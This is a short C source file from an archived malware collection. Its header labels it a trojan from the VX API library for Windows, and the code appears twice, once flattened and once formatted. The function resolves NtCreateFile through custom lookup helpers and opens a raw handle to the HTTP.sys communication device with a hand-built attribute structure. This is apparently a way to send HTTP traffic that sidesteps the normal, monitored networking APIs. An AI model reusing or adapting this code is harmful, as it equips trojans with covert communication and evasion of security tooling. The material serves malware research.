/* name Vx Api type trojan cve — year unknown os Windows authors unknown source krisyotam archived krisyotam (2026) notes — */#include "Win32Helper.h" BOOL Ex_GetHandleOnDeviceHttpCommunication(_Out_ PHANDLE Handle){ typedef struct HTTPCOMMUNICATIONEXTENDEDATTRIBUTES { DWORD dwUnknown1; WORD wUnknown2; WORD wUnknown3; BYTE bStr[16]; WORD wVersionMajor; WORD wVersionMinor; DWORD dwFlags; QWORD qwCommsHandle; BYTE bUnknown4[3]; }HTTPCOMMUNICATIONEXTENDEDATTRIBUTES, * PHTTPCOMMUNICATIONEXTENDEDATTRIBUTES; NTCREATEFILE NtCreateFile = NULL; HMODULE hModule = NULL; HTTPCOMMUNICATIONEXTENDEDATTRIBUTES Http = { 0 }; UNICODE_STRING ObjectFilePath = { 0 }; OBJECT_ATTRIBUTES Attributes = { 0 }; IO_STATUS_BLOCK IoBlock = { 0 }; NTSTATUS Status = ERROR_SUCCESS; HANDLE hHandle = NULL; *Handle = NULL; hModule = GetModuleHandleEx2W(L"ntdll.dll"); if (hModule == NULL) return FALSE; NtCreateFile = (NTCREATEFILE)GetProcAddressA((DWORD64)hModule, "NtCreateFile"); if (!NtCreateFile) return FALSE; Http.wUnknown2 = 0xF00; Http.wUnknown3 = 0x10; StringCopyA((PCHAR)Http.bStr, (PCHAR)"UlOpenPacket000"); Http.wVersionMajor = 2; RtlInitUnicodeString(&ObjectFilePath, L"\\Device\\Http\\Communication"); InitializeObjectAttributes(&Attributes, &ObjectFilePath, OBJ_CASE_INSENSITIVE, 0, NULL); Status = NtCreateFile(Handle, 0xC0100000, &Attributes, &IoBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 2, 0, &Http, 0x2b); if (NT_SUCCESS(Status)) return TRUE; else return FALSE;}
/*
name Vx Api
type trojan
cve —
year unknown
os Windows
authors unknown
source krisyotam
archived krisyotam (2026)
notes —
*/
#include "Win32Helper.h"
BOOL Ex_GetHandleOnDeviceHttpCommunication(_Out_ PHANDLE Handle)
{
typedef struct HTTPCOMMUNICATIONEXTENDEDATTRIBUTES {
DWORD dwUnknown1;
WORD wUnknown2;
WORD wUnknown3;
BYTE bStr[16];
WORD wVersionMajor;
WORD wVersionMinor;
DWORD dwFlags;
QWORD qwCommsHandle;
BYTE bUnknown4[3];
}HTTPCOMMUNICATIONEXTENDEDATTRIBUTES, * PHTTPCOMMUNICATIONEXTENDEDATTRIBUTES;
NTCREATEFILE NtCreateFile = NULL;
HMODULE hModule = NULL;
HTTPCOMMUNICATIONEXTENDEDATTRIBUTES Http = { 0 };
UNICODE_STRING ObjectFilePath = { 0 };
OBJECT_ATTRIBUTES Attributes = { 0 };
IO_STATUS_BLOCK IoBlock = { 0 };
NTSTATUS Status = ERROR_SUCCESS;
HANDLE hHandle = NULL;
*Handle = NULL;
hModule = GetModuleHandleEx2W(L"ntdll.dll");
if (hModule == NULL)
return FALSE;
NtCreateFile = (NTCREATEFILE)GetProcAddressA((DWORD64)hModule, "NtCreateFile");
if (!NtCreateFile)
return FALSE;
Http.wUnknown2 = 0xF00;
Http.wUnknown3 = 0x10;
StringCopyA((PCHAR)Http.bStr, (PCHAR)"UlOpenPacket000");
Http.wVersionMajor = 2;
RtlInitUnicodeString(&ObjectFilePath, L"\\Device\\Http\\Communication");
InitializeObjectAttributes(&Attributes, &ObjectFilePath, OBJ_CASE_INSENSITIVE, 0, NULL);
Status = NtCreateFile(Handle, 0xC0100000, &Attributes, &IoBlock, NULL, 0, FILE_SHARE_READ | FILE_SHARE_WRITE, 2, 0, &Http, 0x2b);
if (NT_SUCCESS(Status)) return TRUE; else return FALSE;
}